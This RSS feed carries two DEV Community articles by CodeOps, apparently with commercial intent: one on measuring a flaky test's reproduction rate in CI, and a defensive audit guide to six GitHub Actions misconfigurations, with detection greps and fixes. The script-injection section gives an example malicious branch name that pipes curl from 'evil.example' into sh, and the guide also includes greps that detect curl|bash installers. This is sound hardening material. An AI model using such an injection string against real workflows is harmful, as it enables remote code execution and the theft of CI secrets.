<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: CodeOps</title>
    <description>The latest articles on DEV Community by CodeOps (@codeopscontact).</description>
    <link>https://dev.to/codeopscontact</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4250746%2Fffba0b53-2307-4c32-8508-82c8a73a1fd2.png</url>
      <title>DEV Community: CodeOps</title>
      <link>https://dev.to/codeopscontact</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/codeopscontact"/>
    <language>en</language>
    <item>
      <title>Stop Guessing: Measure Your Flaky Test's Reproduction Rate First</title>
      <dc:creator>CodeOps</dc:creator>
      <pubDate>Wed, 18 Nov 2026 00:59:30 +0000</pubDate>
      <link>https://dev.to/codeopscontact/stop-guessing-measure-your-flaky-tests-reproduction-rate-first-1bc6</link>
      <guid>https://dev.to/codeopscontact/stop-guessing-measure-your-flaky-tests-reproduction-rate-first-1bc6</guid>
      <description>&lt;p&gt;Ask a team about their worst flaky test and you will get an opinion: "it fails sometimes," "it's the checkout one, it's really bad," "just re-run it, it always passes the second time." None of those statements can support a decision. You cannot tell from "sometimes" whether the test deserves a day of root-cause work, a quarantine slot, or nothing at all — and teams routinely burn days fixing flakes that fail once a month while ignoring the one quietly taxing every pull request.&lt;/p&gt;

&lt;p&gt;The fix is not a better opinion. It is a number: &lt;strong&gt;how often does this test fail, under real CI conditions?&lt;/strong&gt; Measure that first, and the decisions mostly make themselves.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the measurement has to happen on a real runner
&lt;/h2&gt;

&lt;p&gt;Flakiness is usually a product of the environment — CPU contention, parallelism, network behaviour, timing. A test that never fails on your fast local machine may fail regularly on a loaded CI runner, and a loop run locally measures the wrong machine. So measure where the flake lives: on the same kind of runner, with the same parallelism, as the job that keeps going red.&lt;/p&gt;

&lt;p&gt;The method is deliberately simple:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pick &lt;strong&gt;one&lt;/strong&gt; test — rates are per-test, and a suite-level number hides the offender.&lt;/li&gt;
&lt;li&gt;Run that single test &lt;strong&gt;N times&lt;/strong&gt; in a loop on a real CI runner, in a job that does nothing else.&lt;/li&gt;
&lt;li&gt;Count passes and failures, and keep the per-iteration logs so a measured failure is one you can actually inspect.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A minimal GitHub Actions workflow for this is a loop around your test command that writes the pass/fail count and the observed rate into the job summary. CodeOps keeps a free, public version of exactly that instrument — workflow plus a filled-in sample report — at &lt;a href="https://github.com/codeopscontact/flake-scan-demo" rel="noopener noreferrer"&gt;github.com/codeopscontact/flake-scan-demo&lt;/a&gt;. Copy the workflow, point its &lt;code&gt;command&lt;/code&gt; input at your suspect test, and run it from the Actions tab.&lt;/p&gt;

&lt;h2&gt;
  
  
  How many iterations are enough?
&lt;/h2&gt;

&lt;p&gt;Enough to see the flake you suspect. The arithmetic is unforgiving: if a test fails about 1 time in 10, a 20-run loop has roughly a 12% chance of passing all 20 and showing you a clean bill of health that is simply wrong (0.9²⁰ ≈ 0.12). For a suspected ~1-in-10 flake, use &lt;strong&gt;at least 100 iterations&lt;/strong&gt; before drawing conclusions. For a test you believe fails half the time, 20 runs will show it clearly. Match the loop size to the rate you are trying to confirm or rule out — and when a fix is claimed, hold it to the same bar: zero failures in a loop at least as large as the one that measured the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the number changes
&lt;/h2&gt;

&lt;p&gt;With a rate in hand, the fix / quarantine / ignore decision stops being an argument:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;High rate on a merge-blocking job — fix it now.&lt;/strong&gt; A test failing 1 run in 10 is not an annoyance; it is a tax on every pull request, paid in re-runs and delayed merges, and it trains the team to ignore red builds — which is how real failures slip through. This one earns root-cause time first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real but low rate, or a fix that will take a while — quarantine it, properly.&lt;/strong&gt; Move it out of the blocking path, but with the guardrails that keep quarantine from becoming a graveyard: a named owner, an expiry date, and a cap on how many tests may sit there at once. The rate is what you re-measure to decide whether it comes back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Very low rate, cheap re-run, non-blocking — ignore it, deliberately.&lt;/strong&gt; A test that fails once in several hundred runs on a job nobody waits for may not be worth a day of anyone's time. "Ignore" is a legitimate decision when it is made from a measured rate and revisited on a schedule — a weekly scheduled scan keeps a baseline, so a rate creeping from near-zero upward shows up before it starts blocking merges. What is not legitimate is ignoring a flake you have never measured.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notice what the number does to the conversation. "The checkout test is really bad" becomes "the checkout test fails 8% of runs on the merge-blocking job; the totals test fails 0.5% on a nightly." One of those gets fixed this week. The other gets a quarantine slot or a scheduled watch. Nobody had to win an argument to get there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to go next
&lt;/h2&gt;

&lt;p&gt;Measuring is step one of a longer method: classify the flake into a root-cause class (timing and races, shared state, external dependencies, resource limits, ordering dependence), reproduce it on purpose, apply the fix pattern for its class, and put guardrails in place so the backlog does not regrow. That full method — the five-class taxonomy with diagnostic signatures, per-class fixes, a quarantine policy template with owners and expiry dates, and a one-week sprint plan — is the &lt;a href="https://payhip.com/b/k36mN" rel="noopener noreferrer"&gt;Flaky CI Rescue Kit (USD 49)&lt;/a&gt;. If you would rather have it done for you, the Flaky Test Repair Sprint (fixed USD 500) root-causes your recurring flakes and delivers the fixes as PRs with before/after reproduction rates: &lt;a href="mailto:codeops.contact@gmail.com"&gt;codeops.contact@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But start with the free part. Pick the test your team argues about most, run it 100 times on a real runner, and look at the number. Everything after that is a decision, not a debate.&lt;/p&gt;

</description>
      <category>testing</category>
      <category>cicd</category>
      <category>githubactions</category>
      <category>devops</category>
    </item>
    <item>
      <title>Six GitHub Actions Misconfigurations That Actually Get Exploited (and the 30-Minute Audit That Finds Them)</title>
      <dc:creator>CodeOps</dc:creator>
      <pubDate>Wed, 18 Nov 2026 00:58:48 +0000</pubDate>
      <link>https://dev.to/codeopscontact/six-github-actions-misconfigurations-that-actually-get-exploited-and-the-30-minute-audit-that-5eeb</link>
      <guid>https://dev.to/codeopscontact/six-github-actions-misconfigurations-that-actually-get-exploited-and-the-30-minute-audit-that-5eeb</guid>
      <description>&lt;p&gt;Most GitHub Actions compromises do not start with a zero-day. They start with configuration: a tag that can be re-pointed, a token with more power than the job needs, a helpful workflow that checks out a fork's code "just to run the tests." The patterns are well understood, and every one of them is greppable. Below are the six risk classes that matter most, how to find each in your own repo, and the fix pattern for each. Run the commands in order — credential-holding release and deploy workflows first, because that is the order an attacker would walk.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Actions pinned to movable tags instead of full-length SHAs
&lt;/h2&gt;

&lt;p&gt;A reference like &lt;code&gt;actions/checkout@v4&lt;/code&gt; points at a tag, and tags can be moved. If the account or repo behind a widely used action is compromised, the attacker re-points the tag and your next run executes their code — with your workflow's token and secrets in scope. This is not hypothetical as a mechanism; it is simply how mutable refs work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rhoE &lt;span class="s1"&gt;'uses: [^ ]+'&lt;/span&gt; .github/workflows/ &lt;span class="o"&gt;|&lt;/span&gt; sort -u
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any ref that is not a full 40-character commit SHA is a movable target.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Pin every action to its full-length commit SHA, with the version in a comment so humans can still read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then let Dependabot propose SHA updates as reviewable PRs, so pinning does not mean freezing.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Missing or over-broad token permissions
&lt;/h2&gt;

&lt;p&gt;When a workflow has no &lt;code&gt;permissions:&lt;/code&gt; block, the &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; gets the repository's default permissions — which in many repos still means broad read/write. A compromised step or action in that job inherits all of it: it can push code, edit releases, or merge pull requests the job never needed to touch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rL &lt;span class="s1"&gt;'permissions:'&lt;/span&gt; .github/workflows/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every file listed has no explicit permissions block. Then check for the opposite problem — blocks that grant &lt;code&gt;write&lt;/code&gt; on everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Set a restrictive default at the top of the workflow and elevate only the job that needs more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;release&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;   &lt;span class="c1"&gt;# only this job can write
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. &lt;code&gt;pull_request_target&lt;/code&gt; checking out untrusted PR code
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; runs in the context of the base repository — with its secrets and a write-capable token. That is safe only while the workflow never executes code from the pull request. The moment it checks out the PR head and runs a build, test, or install script, anyone who can open a PR from a fork can run arbitrary code with your secrets available.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rn &lt;span class="s1"&gt;'pull_request_target'&lt;/span&gt; .github/workflows/
grep -rn &lt;span class="s1"&gt;'pull_request.head'&lt;/span&gt; .github/workflows/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A file appearing in both lists — trigger on &lt;code&gt;pull_request_target&lt;/code&gt;, checkout of the head SHA or ref — is the dangerous combination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Split the workflow in two. An untrusted workflow triggered by &lt;code&gt;pull_request&lt;/code&gt; does the work that touches PR code and uploads results as artifacts. A separate trusted workflow, triggered by &lt;code&gt;workflow_run&lt;/code&gt;, downloads the artifacts and does the labelling, commenting, or publishing. Trusted credentials never share a job with untrusted code.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Script injection via &lt;code&gt;${{ }}&lt;/code&gt; interpolation in &lt;code&gt;run:&lt;/code&gt; steps
&lt;/h2&gt;

&lt;p&gt;GitHub substitutes &lt;code&gt;${{ }}&lt;/code&gt; expressions into the workflow file &lt;em&gt;before&lt;/em&gt; the shell sees it. If attacker-controlled text — a PR title, a branch name, an issue body, a commit message — is interpolated directly into a &lt;code&gt;run:&lt;/code&gt; step, the attacker controls part of your shell script. A branch named &lt;code&gt;x"; curl evil.example | sh; echo "&lt;/code&gt; is not exotic; it is just a string.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rn &lt;span class="s1"&gt;'run:.*\${{'&lt;/span&gt; .github/workflows/
grep -rn &lt;span class="s1"&gt;'github.event'&lt;/span&gt; .github/workflows/ &lt;span class="o"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;'run'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for event fields like &lt;code&gt;github.event.pull_request.title&lt;/code&gt;, &lt;code&gt;github.head_ref&lt;/code&gt;, or &lt;code&gt;github.event.issue.body&lt;/code&gt; inside &lt;code&gt;run:&lt;/code&gt; blocks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Pass event data through an environment variable and reference the variable, quoted, in the script. The shell then treats it as inert data, not code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Show PR title&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;PR_TITLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "$PR_TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Long-lived PATs doing the built-in token's job
&lt;/h2&gt;

&lt;p&gt;A personal access token stored as a secret often outlives the task it was created for, carries the owner's full account permissions, and never expires on any schedule anyone remembers. If it leaks, it works from anywhere — unlike the built-in &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;, which is scoped to one repo and dies with the job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rhn &lt;span class="s1"&gt;'secrets\.'&lt;/span&gt; .github/workflows/ &lt;span class="o"&gt;|&lt;/span&gt; grep -v &lt;span class="s1"&gt;'secrets.GITHUB_TOKEN'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each remaining secret deserves one question: why can't the built-in token, a fine-grained PAT scoped to one repo, or a GitHub App token do this job?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Work down a decision order — built-in token first, then a fine-grained PAT with one repo and one permission, then a short-lived GitHub App token. And where checkout persists credentials the job does not use, turn that off:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2
&lt;/span&gt;  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;persist-credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. &lt;code&gt;curl | bash&lt;/code&gt; installers fetched fresh on every run
&lt;/h2&gt;

&lt;p&gt;Piping a remote script straight into a shell means every run executes whatever that URL serves &lt;em&gt;today&lt;/em&gt;, over a connection you do not pin, with no record of what ran. A compromised mirror or hijacked domain turns your CI into the distribution channel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find it:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -rnE &lt;span class="s1"&gt;'curl[^|]*\|\s*(sudo\s+)?(bash|sh)'&lt;/span&gt; .github/workflows/
grep -rn &lt;span class="s1"&gt;'wget'&lt;/span&gt; .github/workflows/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Pin the tool version and verify a checksum before executing anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl -fsSLO https://example.com/tool/v1.2.3/tool-linux-amd64
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;expected-sha256&amp;gt;  tool-linux-amd64"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; sha256sum -c -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or skip the installer entirely and use the tool's official setup action — pinned to a full-length SHA, per class 1.&lt;/p&gt;

&lt;h2&gt;
  
  
  The afternoon audit
&lt;/h2&gt;

&lt;p&gt;None of this needs a scanner subscription or a security team. The six greps above take about 30 minutes against a typical repo, and the output is a short findings list: file, line, class, fix. Work it in severity order — workflows holding production credentials and release paths first — and the fixes are small, reviewable diffs, one class at a time. The last step is making it stick: a CI gate that fails any PR reintroducing an unpinned action, a missing permissions block, a &lt;code&gt;pull_request_target&lt;/code&gt; head checkout, or direct event interpolation, so the audit does not have to be re-run from memory every quarter.&lt;/p&gt;

&lt;p&gt;If you want the whole pass packaged — the one-page audit checklist, before/after YAML for all six classes, a hardened starter workflow, the enforcement gate template, and a findings-report template — that is the &lt;a href="https://payhip.com/b/risOz" rel="noopener noreferrer"&gt;GitHub Actions Security Hardening Kit (USD 59)&lt;/a&gt;. If you would rather hand it over, CodeOps runs the same audit and hardening as a fixed-price sprint (USD 800, findings report plus the hardening PRs): &lt;a href="mailto:codeops.contact@gmail.com"&gt;codeops.contact@gmail.com&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>githubactions</category>
      <category>security</category>
      <category>devops</category>
      <category>cicd</category>
    </item>
  </channel>
</rss>
